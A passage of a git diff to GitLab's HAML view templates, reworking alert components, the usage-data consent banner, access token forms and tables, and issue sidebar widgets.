+ = link_to _('Settings'), project_settings_ci_cd_path(project), class: 'alert-link btn gl-button btn-confirm'
+ = link_to _('More information'), help_page_path('topics/autodevops/index.md'), target: '_blank', class: 'alert-link btn gl-button btn-default gl-ml-3'
diff --git a/app/views/shared/_confirm_your_email_alert.html.haml b/app/views/shared/_confirm_your_email_alert.html.haml
new file mode 100644
index 00000000000..b9906a89ce4
--- /dev/null
+++ b/app/views/shared/_confirm_your_email_alert.html.haml
@@ -0,0 +1,7 @@
+.js-vue-alert{ 'v-cloak': true,
+ data: { dismissible: 'true',
+ title: _('Please confirm your email address'),
+ primary_button_text: _('Resend confirmation email'),
+ primary_button_link: new_user_confirmation_path,
+ variant: 'warning'} }
+ = (_("To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}") % { strongStart: '<strong>', strongEnd: '</strong>' }).html_safe
diff --git a/app/views/shared/_global_alert.html.haml b/app/views/shared/_global_alert.html.haml
index bebc72fe428..ea83f5c1656 100644
--- a/app/views/shared/_global_alert.html.haml
+++ b/app/views/shared/_global_alert.html.haml
@@ -2,19 +2,23 @@
- title = local_assigns.fetch(:title, nil)
- variant = local_assigns.fetch(:variant, :info)
+- dismissible = local_assigns.fetch(:dismissible, true)
- alert_class = local_assigns.fetch(:alert_class, nil)
- alert_data = local_assigns.fetch(:alert_data, nil)
- close_button_class = local_assigns.fetch(:close_button_class, nil)
- close_button_data = local_assigns.fetch(:close_button_data, nil)
- icon = icons[variant]
+- alert_root_class = 'gl-alert-layout-limited' if fluid_layout
+- alert_container_class = [container_class, @content_class] unless fluid_layout || local_assigns.fetch(:is_contained, false)
-%div{ role: 'alert', class: ["gl-alert-#{variant}", alert_class], data: alert_data }
- %div{ class: [container_class, @content_class, 'gl-px-0!'] }
- .gl-alert
- = sprite_icon(icon, size: 16, css_class: "gl-alert-icon#{' gl-alert-icon-no-title' if title.nil?}")
- %button.gl-alert-dismiss.js-close{ type: 'button', aria: { label: _('Close') }, class: close_button_class, data: close_button_data }
+%div{ role: 'alert', class: [alert_root_class, 'gl-alert-max-content', 'gl-alert', "gl-alert-#{variant}", alert_class], data: alert_data }
+ .gl-alert-container{ class: alert_container_class }
+ = sprite_icon(icon, size: 16, css_class: "gl-alert-icon#{' gl-alert-icon-no-title' if title.nil?}")
+ - if dismissible
+ %button.btn.gl-dismiss-btn.btn-default.btn-sm.gl-button.btn-default-tertiary.btn-icon.js-close{ type: 'button', aria: { label: _('Dismiss') }, class: close_button_class, data: close_button_data }
= sprite_icon('close', size: 16)
+ .gl-alert-content{ role: 'alert' }
- if title
- .gl-alert-title
+ %h4.gl-alert-title
= title
= yield
diff --git a/app/views/shared/_group_form.html.haml b/app/views/shared/_group_form.html.haml
index 7055dc8142a..e96372a29db 100644
--- a/app/views/shared/_group_form.html.haml
+++ b/app/views/shared/_group_form.html.haml
@@ -28,8 +28,7 @@
title: _('Please choose a group URL with no special characters.'),
"data-bind-in" => "#{'create_chat_team' if Gitlab.config.mattermost.enabled}"
%p.validation-error.gl-field-error.field-validation.hide
- = _('Group path is already taken. Suggestions: ')
- %span.gl-path-suggestions
+ = _("Group path is already taken. We've suggested one that is available.")
%p.validation-success.gl-field-success.field-validation.hide= _('Group path is available.')
%p.validation-pending.gl-field-error-ignore.field-validation.hide= _('Checking group URL availability...')
diff --git a/app/views/shared/_import_form.html.haml b/app/views/shared/_import_form.html.haml
index 65e02341936..f03314563cb 100644
--- a/app/views/shared/_import_form.html.haml
+++ b/app/views/shared/_import_form.html.haml
@@ -8,7 +8,18 @@
= _('Git repository URL')
= f.text_field :import_url, value: import_url.sanitized_url,
autocomplete: 'off', class: 'form-control gl-form-input', placeholder: 'https://gitlab.company.com/group/project.git', required: true
+ = render 'shared/global_alert',
+ variant: :warning,
+ alert_class: 'gl-mt-3 js-import-url-warning hide',
+ dismissible: false,
+ close_button_class: 'js-close-2fa-enabled-success-alert' do
+ .gl-alert-body
+ = s_('Import|A repository URL usually ends in a .git suffix, although this is not required. Double check to make sure your repository URL is correct.')
+ .gl-alert.gl-alert-not-dismissible.gl-alert-warning.gl-mt-3.hide#project_import_url_warning
+ .gl-alert-container
+ = sprite_icon('warning-solid', css_class: 'gl-icon s16 gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content{ role: 'alert' }
.row
.form-group.col-md-6
= f.label :import_url_user, class: 'label-bold' do
diff --git a/app/views/shared/_new_project_item_select.html.haml b/app/views/shared/_new_project_item_select.html.haml
index 3817ff8a56d..d5f4add2796 100644
--- a/app/views/shared/_new_project_item_select.html.haml
+++ b/app/views/shared/_new_project_item_select.html.haml
@@ -1,5 +1,5 @@
- if any_projects?(@projects)
- .project-item-select-holder.btn-group.gl-ml-auto.gl-mr-auto.gl-py-3.gl-relative.gl-display-flex.gl-overflow-hidden
+ .project-item-select-holder.btn-group.gl-ml-auto.gl-mr-auto.gl-relative.gl-overflow-hidden{ class: 'gl-display-flex!' }
%a.btn.gl-button.btn-confirm.new-project-item-link.block-truncated.qa-new-project-item-link{ href: '', data: { label: local_assigns[:label], type: local_assigns[:type] }, class: "gl-m-0!" }
= loading_icon(color: 'light')
= project_select_tag :project_path, class: "project-item-select gl-absolute! gl-visibility-hidden", data: { include_groups: local_assigns[:include_groups], order_by: 'last_activity_at', relative_path: local_assigns[:path], with_shared: local_assigns[:with_shared], include_projects_in_subgroups: local_assigns[:include_projects_in_subgroups] }, with_feature_enabled: local_assigns[:with_feature_enabled]
diff --git a/app/views/shared/_ping_consent.html.haml b/app/views/shared/_ping_consent.html.haml
deleted file mode 100644
index d0f1e4d7221..00000000000
--- a/app/views/shared/_ping_consent.html.haml
+++ /dev/null
@@ -1,14 +0,0 @@
-- if session[:ask_for_usage_stats_consent]
- .ping-consent-message.gl-alert.gl-alert-info
- = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
- .gl-alert-body
- - docs_link = link_to _('collect usage information'), help_page_path('user/admin_area/settings/usage_statistics.md'), class: 'gl-link'
- - settings_link = link_to _('your settings'), metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), class: 'gl-link'
- = s_('To help improve GitLab, we would like to periodically %{docs_link}. This can be changed at any time in %{settings_link}.').html_safe % { docs_link: docs_link, settings_link: settings_link }
- .gl-alert-actions.gl-mt-3
- - send_usage_data_path = admin_application_settings_path(application_setting: { version_check_enabled: 1, usage_ping_enabled: 1 })
- - not_now_path = admin_application_settings_path(application_setting: { version_check_enabled: 0, usage_ping_enabled: 0 })
- = link_to _("Send usage data"), send_usage_data_path, 'data-url' => admin_application_settings_path, method: :put, 'data-check-enabled': true, 'data-ping-enabled': true, class: 'js-usage-consent-action alert-link btn gl-button btn-info'
- = link_to _("Don't send usage data"), not_now_path, 'data-url' => admin_application_settings_path, method: :put, 'data-check-enabled': false, 'data-ping-enabled': false, class: 'js-usage-consent-action alert-link btn gl-button btn-default gl-ml-2'
diff --git a/app/views/shared/_project_limit.html.haml b/app/views/shared/_project_limit.html.haml
index 9110f5a7f31..90612ba623f 100644
--- a/app/views/shared/_project_limit.html.haml
+++ b/app/views/shared/_project_limit.html.haml
@@ -1,8 +1,10 @@
- if cookies[:hide_project_limit_message].blank? && !current_user.hide_project_limit && !current_user.can_create_project? && current_user.projects_limit > 0
- .project-limit-message.gl-alert.gl-alert-warning.gl-display-none.gl-sm-display-block
- = _("You won't be able to create new projects because you have reached your project limit.")
-
- .float-right
- = link_to _("Don't show again"), profile_path(user: {hide_project_limit: true}), method: :put, class: 'alert-link'
- |
- = link_to _('Remind later'), '#', class: 'hide-project-limit-message alert-link'
+ = render 'shared/global_alert',
+ variant: :warning,
+ dismissible: false,
+ alert_class: 'project-limit-message' do
+ .gl-alert-body
+ = _("You won't be able to create new projects because you have reached your project limit.")
+ .gl-alert-actions
+ = link_to _('Remind later'), '#', class: 'alert-link hide-project-limit-message btn gl-button btn-confirm'
+ = link_to _("Don't show again"), profile_path(user: {hide_project_limit: true}), method: :put, class: 'alert-link btn gl-button btn-default gl-ml-3'
diff --git a/app/views/shared/_service_ping_consent.html.haml b/app/views/shared/_service_ping_consent.html.haml
new file mode 100644
index 00000000000..77597124e5c
--- /dev/null
+++ b/app/views/shared/_service_ping_consent.html.haml
@@ -0,0 +1,14 @@
+- if session[:ask_for_usage_stats_consent]
+ .service-ping-consent-message.gl-alert.gl-alert-info
+ = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ = sprite_icon('close', css_class: 'gl-icon')
+ .gl-alert-body
+ - docs_link = link_to _('collect usage information'), help_page_path('user/admin_area/settings/usage_statistics.md'), class: 'gl-link'
+ - settings_link = link_to _('your settings'), metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), class: 'gl-link'
+ = s_('To help improve GitLab, we would like to periodically %{docs_link}. This can be changed at any time in %{settings_link}.').html_safe % { docs_link: docs_link, settings_link: settings_link }
+ .gl-alert-actions.gl-mt-3
+ - send_service_data_path = admin_application_settings_path(application_setting: { version_check_enabled: 1, usage_ping_enabled: 1 })
+ - not_now_path = admin_application_settings_path(application_setting: { version_check_enabled: 0, usage_ping_enabled: 0 })
+ = link_to _("Send service data"), send_service_data_path, 'data-url' => admin_application_settings_path, method: :put, 'data-check-enabled': true, 'data-service-ping-enabled': true, class: 'js-service-ping-consent-action alert-link btn gl-button btn-info'
+ = link_to _("Don't send service data"), not_now_path, 'data-url' => admin_application_settings_path, method: :put, 'data-check-enabled': false, 'data-service-ping-enabled': false, class: 'js-service-ping-consent-action alert-link btn gl-button btn-default gl-ml-2'
diff --git a/app/views/shared/_sidebar_toggle_button.html.haml b/app/views/shared/_sidebar_toggle_button.html.haml
index a5a411db8a0..b3d6c4c327b 100644
--- a/app/views/shared/_sidebar_toggle_button.html.haml
+++ b/app/views/shared/_sidebar_toggle_button.html.haml
@@ -1,7 +1,5 @@
%a.toggle-sidebar-button.js-toggle-sidebar.qa-toggle-sidebar.rspec-toggle-sidebar{ role: "button", type: "button", title: "Toggle sidebar" }
= sprite_icon('chevron-double-lg-left', css_class: 'icon-chevron-double-lg-left')
- - if sidebar_refactor_disabled?
- = sprite_icon('chevron-double-lg-right', css_class: 'icon-chevron-double-lg-right')
%span.collapse-text.gl-ml-3= _("Collapse sidebar")
= button_tag class: 'close-nav-button', type: 'button' do
diff --git a/app/views/shared/access_tokens/_form.html.haml b/app/views/shared/access_tokens/_form.html.haml
index 88c24a27497..6435475a9a3 100644
--- a/app/views/shared/access_tokens/_form.html.haml
+++ b/app/views/shared/access_tokens/_form.html.haml
@@ -1,5 +1,9 @@
- title = local_assigns.fetch(:title, _('Add a %{type}') % { type: type })
- prefix = local_assigns.fetch(:prefix, :personal_access_token)
+- help_path = local_assigns.fetch(:help_path)
+- project = local_assigns.fetch(:project, false)
+- access_levels = local_assigns.fetch(:access_levels, false)
+- default_access_level = local_assigns.fetch(:default_access_level, false)
%h5.gl-mt-0
= title
@@ -11,13 +15,16 @@
= form_errors(token)
.row
- .form-group.col-md-6
- = f.label :name, _('Name'), class: 'label-bold'
- = f.text_field :name, class: 'form-control gl-form-input', required: true, data: { qa_selector: 'access_token_name_field' }
+ .form-group.col
+ .row
+ = f.label :name, _('Token name'), class: 'label-bold col-md-12'
+ .col-md-6
+ = f.text_field :name, class: 'form-control gl-form-input', required: true, data: { qa_selector: 'access_token_name_field' }, :'aria-describedby' => 'access_token_help_text'
+ %span.form-text.text-muted.col-md-12#access_token_help_text= _('For example, the application using the token or the purpose of the token.')
.row
.form-group.col-md-6
- = f.label :expires_at, _('Expires at'), class: 'label-bold'
+ = f.label :expires_at, _('Expiration date'), class: 'label-bold'
.input-icon-wrapper
= render_if_exists 'personal_access_tokens/callout_max_personal_access_token_lifetime'
@@ -25,8 +32,20 @@
.js-access-tokens-expires-at
= f.text_field :expires_at, class: 'datepicker gl-datepicker-input form-control gl-form-input', placeholder: 'YYYY-MM-DD', autocomplete: 'off', data: { js_name: 'expiresAt' }
+ - if project
+ .row
+ .form-group.col-md-6
+ = label_tag :access_level, _("Select a role"), class: "label-bold"
+ .select-wrapper
+ = select_tag :"#{prefix}[access_level]", options_for_select(access_levels, default_access_level), class: "form-control project-access-select select-control", data: { qa_selector: 'access_token_access_level' }
+ = sprite_icon('chevron-down', css_class: "gl-icon gl-absolute gl-top-3 gl-right-3 gl-text-gray-200")
+
.form-group
- = f.label :scopes, _('Scopes'), class: 'label-bold'
+ %b{ :'aria-describedby' => 'select_scope_help_text' }
+ = s_('Tokens|Select scopes')
+ %p.text-secondary#select_scope_help_text
+ = s_('Tokens|Scopes set the permission levels granted to the token.')
+ = link_to "Learn more.", help_path, target: '_blank'
= render 'shared/tokens/scopes_form', prefix: prefix, token: token, scopes: scopes
- if prefix == :personal_access_token && Feature.enabled?(:personal_access_tokens_scoped_to_projects, current_user)
diff --git a/app/views/shared/access_tokens/_table.html.haml b/app/views/shared/access_tokens/_table.html.haml
index 9c59d5ae1fa..1f08bff9858 100644
--- a/app/views/shared/access_tokens/_table.html.haml
+++ b/app/views/shared/access_tokens/_table.html.haml
@@ -1,10 +1,15 @@
- no_active_tokens_message = local_assigns.fetch(:no_active_tokens_message, _('This user has no active %{type}.') % { type: type_plural })
- impersonation = local_assigns.fetch(:impersonation, false)
+- project = local_assigns.fetch(:project, false)
+- personal = !impersonation && !project
%hr
%h5
= _('Active %{type} (%{token_length})') % { type: type_plural, token_length: active_tokens.length }
+- if personal && !personal_access_token_expiration_enforced?
+ %p.profile-settings-content
+ = _("Personal access tokens are not revoked upon expiration.")
- if impersonation
%p.profile-settings-content
= _("To see all the user's personal access tokens you must impersonate them first.")
@@ -14,18 +19,21 @@
%table.table.active-tokens
%thead
%tr
- %th= _('Name')
+ %th= _('Token name')
+ %th= _('Scopes')
%th= s_('AccessTokens|Created')
%th
= _('Last Used')
= link_to sprite_icon('question-o'), help_page_path('user/profile/personal_access_tokens.md', anchor: 'view-the-last-time-a-token-was-used'), target: '_blank'
%th= _('Expires')
- %th= _('Scopes')
+ - if project
+ %th= _('Role')
%th
%tbody
- active_tokens.each do |token|
%tr
%td= token.name
+ %td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
%td= token.created_at.to_date.to_s(:medium)
%td
- if token.last_used_at?
@@ -42,8 +50,9 @@
= _('In %{time_to_now}') % { time_to_now: distance_of_time_in_words_to_now(token.expires_at) }
- else
%span.token-never-expires-label= _('Never')
- %td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
- %td= link_to _('Revoke'), revoke_route_helper.call(token), method: :put, class: 'gl-button btn btn-danger btn-sm float-right qa-revoke-button', data: { confirm: _('Are you sure you want to revoke this %{type}? This action cannot be undone.') % { type: type } }
+ - if project
+ %td= project.project_member(token.user).human_access
+ %td= link_to _('Revoke'), revoke_route_helper.call(token), method: :put, class: "gl-button btn btn-danger btn-sm float-right qa-revoke-button #{'btn-danger-secondary' unless token.expires?}", data: { confirm: _('Are you sure you want to revoke this %{type}? This action cannot be undone.') % { type: type } }
- else
.settings-message.text-center
= no_active_tokens_message
diff --git a/app/views/shared/boards/_show.html.haml b/app/views/shared/boards/_show.html.haml
index c1a50cfe718..9ccd5655fb0 100644
--- a/app/views/shared/boards/_show.html.haml
+++ b/app/views/shared/boards/_show.html.haml
@@ -2,6 +2,7 @@
- group = local_assigns.fetch(:group, false)
- @no_breadcrumb_container = true
- @no_container = true
+- @content_wrapper_class = "#{@content_wrapper_class} gl-relative"
- @content_class = "issue-boards-content js-focus-mode-board"
- if board.to_type == "EpicBoard"
- breadcrumb_title _("Epic Boards")
@@ -9,6 +10,9 @@
- breadcrumb_title _("Issue Boards")
= render 'shared/alerts/positioning_disabled'
+= content_for :after_content do
+ #js-right-sidebar-portal
+
- page_title("#{board.name}", _("Boards"))
- add_page_specific_style 'page_bundles/boards'
diff --git a/app/views/shared/deploy_keys/_form.html.haml b/app/views/shared/deploy_keys/_form.html.haml
index 452e54f9cd4..bf2514f8b0d 100644
--- a/app/views/shared/deploy_keys/_form.html.haml
+++ b/app/views/shared/deploy_keys/_form.html.haml
@@ -13,7 +13,7 @@
= form.label :key, class: 'col-form-label col-sm-2'
.col-sm-10
%p.light
- - link_start = "<a href='#{help_page_path('ssh/README')}' target='_blank' rel='noreferrer noopener'>".html_safe
+ - link_start = "<a href='#{help_page_path('ssh/index')}' target='_blank' rel='noreferrer noopener'>".html_safe
- link_end = '</a>'
= _('Paste a public key here. %{link_start}How do I generate it?%{link_end}').html_safe % { link_start: link_start, link_end: link_end.html_safe }
= form.text_area :key, class: 'form-control gl-form-input thin_area', rows: 5, data: { qa_selector: 'deploy_key_field' }
diff --git a/app/views/shared/deploy_keys/_project_group_form.html.haml b/app/views/shared/deploy_keys/_project_group_form.html.haml
index 0c671b4a1c0..8da48a7936a 100644
--- a/app/views/shared/deploy_keys/_project_group_form.html.haml
+++ b/app/views/shared/deploy_keys/_project_group_form.html.haml
@@ -9,7 +9,7 @@
.form-group.row
%p.light.gl-mb-0
= _('Paste a public key here.')
- = link_to _('How do I generate it?'), help_page_path("ssh/README")
+ = link_to _('How do I generate it?'), help_page_path("ssh/index")
= f.fields_for :deploy_keys_projects do |deploy_keys_project_form|
.form-group.row
diff --git a/app/views/shared/deploy_tokens/_form.html.haml b/app/views/shared/deploy_tokens/_form.html.haml
index 976776ccc62..5d351bd11fd 100644
--- a/app/views/shared/deploy_tokens/_form.html.haml
+++ b/app/views/shared/deploy_tokens/_form.html.haml
@@ -38,7 +38,7 @@
- if packages_registry_enabled?(group_or_project)
%fieldset.form-group.form-check
- = f.check_box :read_package_registry, class: 'form-check-input'
+ = f.check_box :read_package_registry, class: 'form-check-input', data: { qa_selector: 'deploy_token_read_package_registry_checkbox' }
= f.label :read_package_registry, 'read_package_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows read access to the package registry.')
diff --git a/app/views/shared/empty_states/_issues.html.haml b/app/views/shared/empty_states/_issues.html.haml
index 13d9d71d58e..9842457a2eb 100644
--- a/app/views/shared/empty_states/_issues.html.haml
+++ b/app/views/shared/empty_states/_issues.html.haml
@@ -47,7 +47,7 @@
= link_to _('New issue'), button_path, class: 'gl-button btn btn-confirm', id: 'new_issue_link'
- if show_import_button
- .js-csv-import-export-buttons{ data: { show_import_button: show_import_button.to_s, issuable_type: issuable_type, import_csv_issues_path: import_csv_namespace_project_issues_path, can_edit: can_edit.to_s, project_import_jira_path: project_import_jira_path(@project), max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes), container_class: 'gl-display-inline-flex gl-vertical-align-middle', show_label: 'true' } }
+ .js-csv-import-export-buttons{ data: { show_import_button: 'true', issuable_type: issuable_type, import_csv_issues_path: import_csv_namespace_project_issues_path, can_edit: can_edit.to_s, project_import_jira_path: project_import_jira_path(@project), max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes), container_class: 'gl-display-inline-flex gl-vertical-align-middle', show_label: 'true' } }
%hr
%p.gl-text-center.gl-mb-0
%strong
diff --git a/app/views/shared/issuable/_bulk_update_sidebar.html.haml b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
index bbbb728d048..3a526a9f306 100644
--- a/app/views/shared/issuable/_bulk_update_sidebar.html.haml
+++ b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
@@ -6,21 +6,13 @@
= form_tag [:bulk_update, @project, type], method: :post, class: "bulk-update" do
.block.issuable-sidebar-header
.filter-item.inline.update-issues-btn.float-left
- = button_tag _('Update all'), class: "gl-button btn update-selected-issues btn-confirm", disabled: true
+ = button_tag _('Update all'), class: "gl-button btn js-update-selected-issues btn-confirm", disabled: true
= button_tag _('Cancel'), class: "gl-button btn btn-default js-bulk-update-menu-hide float-right"
- if params[:state] != 'merged'
.block
.title
= _('Status')
- .filter-item
- = dropdown_tag(_("Select status"), options: { toggle_class: "js-issue-status", title: _("Change status"), dropdown_class: "dropdown-menu-status dropdown-menu-selectable", data: { field_name: "update[state_event]", default_label: _("Status") } } ) do
- %ul
- %li
- %a{ href: "#", data: { id: "reopen" } }
- = _('Open')
- %li
- %a{ href: "#", data: { id: "close" } }
- = _('Closed')
+ .js-issue-status
.block
.title
= _('Assignee')
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index e79719d41b0..6aa80e6808d 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -6,11 +6,16 @@
= form_errors(issuable)
- if @conflict
- .gl-alert.gl-alert-danger.gl-mb-5
- Someone edited the #{issuable.class.model_name.human.downcase} the same time you did.
- Please check out
- = link_to "the #{issuable.class.model_name.human.downcase}", polymorphic_path([@project, issuable]), target: "_blank", rel: 'noopener noreferrer'
- and make sure your changes will not unintentionally remove theirs
+ = render 'shared/global_alert',
+ variant: :danger,
+ dismissible: false,
+ is_contained: true,
+ alert_class: 'gl-mb-5' do
+ .gl-alert-body
+ Someone edited the #{issuable.class.model_name.human.downcase} the same time you did.
+ Please check out
+ = link_to "the #{issuable.class.model_name.human.downcase}", polymorphic_path([@project, issuable]), target: "_blank", rel: 'noopener noreferrer'
+ and make sure your changes will not unintentionally remove theirs
= render 'shared/issuable/form/branch_chooser', issuable: issuable, form: form
diff --git a/app/views/shared/issuable/_invite_members_trigger.html.haml b/app/views/shared/issuable/_invite_members_trigger.html.haml
deleted file mode 100644
index 5dd6ec0addf..00000000000
--- a/app/views/shared/issuable/_invite_members_trigger.html.haml
+++ /dev/null
@@ -1,8 +0,0 @@
-- return unless can_import_members?
-
-.js-invite-members-modal{ data: { id: project.id,
- name: project.name,
- is_project: 'true',
- access_levels: ProjectMember.access_level_roles.to_json,
- default_access_level: Gitlab::Access::GUEST,
- help_link: help_page_url('user/permissions') } }
diff --git a/app/views/shared/issuable/_search_bar.html.haml b/app/views/shared/issuable/_search_bar.html.haml
index c03697a4076..737a0ff8c5b 100644
--- a/app/views/shared/issuable/_search_bar.html.haml
+++ b/app/views/shared/issuable/_search_bar.html.haml
@@ -25,6 +25,8 @@
= check_box_tag checkbox_id, nil, false, class: "check-all-issues left"
- if is_epic_board
#js-board-filtered-search{ data: { full_path: @group&.full_path } }
+ - elsif Feature.enabled?(:issue_boards_filtered_search, board&.resource_parent) && board
+ #js-issue-board-filtered-search
- else
.issues-other-filters.filtered-search-wrapper.d-flex.flex-column.flex-md-row
.filtered-search-box
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index 416c788603a..c76aa176696 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -10,19 +10,13 @@
%aside.right-sidebar.js-right-sidebar.js-issuable-sidebar{ data: { signed: { in: signed_in }, issuable_type: issuable_type }, class: sidebar_gutter_collapsed_class, 'aria-live' => 'polite', 'aria-label': issuable_type }
.issuable-sidebar
- .block.issuable-sidebar-header
- - if signed_in
- %span.issuable-header-text.hide-collapsed.float-left
- = _('To Do')
+ .issuable-sidebar-header.gl-py-3
%a.gutter-toggle.float-right.js-sidebar-toggle.has-tooltip{ role: "button", href: "#", "aria-label" => _('Toggle sidebar'), title: sidebar_gutter_tooltip_text, data: { container: 'body', placement: 'left', boundary: 'viewport' } }
= sidebar_gutter_toggle_icon
- if signed_in
- = render "shared/issuable/sidebar_todo", issuable_sidebar: issuable_sidebar
+ .js-issuable-todo{ data: { project_path: issuable_sidebar[:project_full_path], iid: issuable_sidebar[:iid], id: issuable_sidebar[:id] } }
= form_for issuable_type, url: issuable_sidebar[:issuable_json_path], remote: true, html: { class: 'issuable-context-form inline-update js-issuable-update' } do |f|
- - if signed_in
- .block.todo.hide-expanded
- = render "shared/issuable/sidebar_todo", issuable_sidebar: issuable_sidebar, is_collapsed: true
.block.assignee.qa-assignee-block
= render "shared/issuable/sidebar_assignees", issuable_sidebar: issuable_sidebar, assignees: assignees, signed_in: signed_in
@@ -34,34 +28,11 @@
= render_if_exists 'shared/issuable/sidebar_item_epic', issuable_sidebar: issuable_sidebar, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
- if issuable_sidebar[:supports_milestone]
- - milestone = issuable_sidebar[:milestone] || {}
.block.milestone{ :class => ("gl-border-b-0!" if issuable_sidebar[:supports_iterations]), data: { qa_selector: 'milestone_block' } }
- .sidebar-collapsed-icon.has-tooltip{ title: sidebar_milestone_tooltip_label(milestone), data: { container: 'body', html: 'true', placement: 'left', boundary: 'viewport' } }
- = sprite_icon('clock')
- %span.milestone-title.collapse-truncated-title
- - if milestone.present?
- = milestone[:title]
- - else
- = _('None')
- .hide-collapsed.gl-line-height-20.gl-mb-2.gl-text-gray-900{ data: { testid: "milestone_title" } }
- = _('Milestone')
- = loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
- - if can_edit_issuable
- = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { qa_selector: "edit_milestone_link", track_label: "right_sidebar", track_property: "milestone", track_event: "click_edit_button", track_value: "" }
- .value.hide-collapsed
- - if milestone.present?
- - milestone_title = milestone[:expired] ? _("%{milestone_name} (Past due)").html_safe % { milestone_name: milestone[:title] } : milestone[:title]
- = link_to milestone_title, milestone[:web_url], class: "bold has-tooltip", title: sidebar_milestone_remaining_days(milestone), data: { container: "body", html: 'true', boundary: 'viewport', qa_selector: 'milestone_link', qa_title: milestone[:title] }
- - else
- %span.no-value
- = _('None')
-
- .selectbox.hide-collapsed
- = f.hidden_field 'milestone_id', value: milestone[:id], id: nil
- = dropdown_tag('Milestone', options: { title: _('Assign milestone'), toggle_class: 'js-milestone-select js-extra-options', filter: true, dropdown_class: 'dropdown-menu-selectable', placeholder: _('Search milestones'), data: { show_no: true, field_name: "#{issuable_type}[milestone_id]", project_id: issuable_sidebar[:project_id], issuable_id: issuable_sidebar[:id], ability_name: issuable_type, issue_update: issuable_sidebar[:issuable_json_path], use_id: true, default_no: true, selected: milestone[:title], null_default: true, display: 'static' }})
+ .js-milestone-select{ data: { can_edit: can_edit_issuable.to_s, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid] } }
- if @project.group.present? && issuable_sidebar[:supports_iterations]
- .block{ class: 'gl-pt-0!' }
+ .block{ class: 'gl-pt-0!', data: { qa_selector: 'iteration_container' } }
= render_if_exists 'shared/issuable/iteration_select', can_edit: can_edit_issuable.to_s, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
- if issuable_sidebar[:supports_time_tracking]
@@ -75,13 +46,13 @@
.js-sidebar-labels{ data: sidebar_labels_data(issuable_sidebar, @project) }
- = render_if_exists 'shared/issuable/sidebar_weight', issuable_sidebar: issuable_sidebar
+ = render_if_exists 'shared/issuable/sidebar_weight', issuable_sidebar: issuable_sidebar, can_edit: can_edit_issuable.to_s, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid]
- if issuable_sidebar[:supports_severity]
#js-severity
- if issuable_sidebar.dig(:features_available, :health_status)
- .js-sidebar-status-entry-point
+ .js-sidebar-status-entry-point{ data: sidebar_status_data(issuable_sidebar, @project) }
- if issuable_sidebar.has_key?(:confidential)
%script#js-confidential-issue-data{ type: "application/json" }= { is_confidential: issuable_sidebar[:confidential], is_editable: can_edit_issuable }.to_json.html_safe
diff --git a/app/views/shared/issuable/_sidebar_todo.html.haml b/app/views/shared/issuable/_sidebar_todo.html.haml
deleted file mode 100644
index a867421298b..00000000000
--- a/app/views/shared/issuable/_sidebar_todo.html.haml
+++ /dev/null
@@ -1,15 +0,0 @@
-- is_collapsed = local_assigns.fetch(:is_collapsed, false)
-- has_todo = !!issuable_sidebar.dig(:current_user, :todo, :id)
-
-- todo_button_data = issuable_todo_button_data(issuable_sidebar, is_collapsed)
-- button_title = has_todo ? todo_button_data[:mark_text] : todo_button_data[:todo_text]
-- button_icon = has_todo ? todo_button_data[:mark_icon] : todo_button_data[:todo_icon]
-
-%button.issuable-todo-btn.js-issuable-todo{ type: 'button',
- class: (is_collapsed ? 'btn-blank sidebar-collapsed-icon dont-change-state has-tooltip' : 'gl-button btn btn-default issuable-header-btn float-right'),
- title: button_title,
- 'aria-label' => button_title,
- data: todo_button_data }
- %span.issuable-todo-inner.js-issuable-todo-inner<
- = is_collapsed ? button_icon : button_title
- = loading_icon(css_class: is_collapsed ? '' : 'gl-ml-3')
diff --git a/app/views/shared/issuable/_sort_dropdown.html.haml b/app/views/shared/issuable/_sort_dropdown.html.haml
index 9e3caf62d77..caf271e9ee9 100644
--- a/app/views/shared/issuable/_sort_dropdown.html.haml
+++ b/app/views/shared/issuable/_sort_dropdown.html.haml
@@ -1,6 +1,7 @@
- sort_value = @sort
- sort_title = issuable_sort_option_title(sort_value)
- viewing_issues = controller.controller_name == 'issues' || controller.action_name == 'issues'
+- viewing_merge_requests = controller.controller_name == 'merge_requests'
.dropdown.inline.gl-ml-3.issue-sort-dropdown
.btn-group{ role: 'group' }
@@ -17,6 +18,7 @@
= sortable_item(sort_title_due_date, page_filter_path(sort: sort_value_due_date), sort_title) if viewing_issues
= sortable_item(sort_title_popularity, page_filter_path(sort: sort_value_popularity), sort_title)
= sortable_item(sort_title_label_priority, page_filter_path(sort: sort_value_label_priority), sort_title)
